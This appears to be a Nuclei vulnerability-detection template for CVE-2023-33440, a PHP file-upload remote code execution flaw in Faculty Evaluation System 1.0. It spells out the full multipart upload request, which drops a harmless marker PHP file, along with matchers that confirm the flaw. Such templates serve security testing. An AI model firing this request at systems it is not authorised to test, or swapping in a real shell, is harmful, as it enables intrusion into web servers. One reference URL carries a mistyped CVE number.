83 lines
2.9 KiB
YAML
83 lines
2.9 KiB
YAML
id: CVE-2023-33440
|
|
|
|
info:
|
|
name: Faculty Evaluation System v1.0 - Remote Code Execution
|
|
author: Harsh
|
|
severity: high
|
|
description: |
|
|
Sourcecodester Faculty Evaluation System v1.0 is vulnerable to arbitrary code execution via /eval/ajax.php?action=save_user.
|
|
remediation: |
|
|
Apply the latest security patches and updates provided by the vendor to mitigate this vulnerability.
|
|
reference:
|
|
- http://packetstormsecurity.com/files/172672/Faculty-Evaluation-System-1.0-Shell-Upload.html
|
|
- https://github.com/F14me7wq/bug_report/blob/main/vendors/oretnom23/faculty-evaluation-system/RCE-1.md
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-333440
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 7.2
|
|
cve-id: CVE-2023-33440
|
|
cwe-id: CWE-434
|
|
epss-score: 0.04526
|
|
epss-percentile: 0.91565
|
|
cpe: cpe:2.3:a:faculty_evaluation_system_project:faculty_evaluation_system:1.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: faculty_evaluation_system_project
|
|
product: faculty_evaluation_system
|
|
tags: packetstorm,cve,cve2023,faculty,rce,intrusive
|
|
variables:
|
|
email: "{{randstr}}@{{rand_base(5)}}.com"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /ajax.php?action=save_user HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=---------------------------1037163726497
|
|
|
|
-----------------------------1037163726497
|
|
Content-Disposition: form-data; name="id"
|
|
|
|
1
|
|
-----------------------------1037163726497
|
|
Content-Disposition: form-data; name="firstname"
|
|
|
|
Administrator
|
|
-----------------------------1037163726497
|
|
Content-Disposition: form-data; name="lastname"
|
|
|
|
a
|
|
-----------------------------1037163726497
|
|
Content-Disposition: form-data; name="img"; filename="{{randstr}}.php"
|
|
Content-Type: application/octet-stream
|
|
|
|
<?php echo md5('CVE-2023-33440'); ?>
|
|
-----------------------------1037163726497
|
|
Content-Disposition: form-data; name="email"
|
|
|
|
{{email}}
|
|
-----------------------------1037163726497
|
|
Content-Disposition: form-data; name="password"
|
|
|
|
|
|
-----------------------------1037163726497
|
|
Content-Disposition: form-data; name="cpass"
|
|
|
|
|
|
-----------------------------1037163726497--
|
|
- |
|
|
GET /login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
host-redirects: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code_1 == 200'
|
|
- 'regex("^1$", body_1)'
|
|
- '!regex("^2$", body_1)'
|
|
- 'len(body_1) == 1'
|
|
- 'contains(body_2, "Faculty Evaluation")'
|
|
condition: and
|
|
# digest: 4b0a00483046022100a5d0f1dd88eb11512f7bee0e428777b5aa5243ded15a3e5f43ed6fe7a9339b1a022100a347b3dd806df5fd5c1c8ee357ed665f067f134be8992282d7cb3918bc486259:922c64590222798bb761d5b6d8e72950 |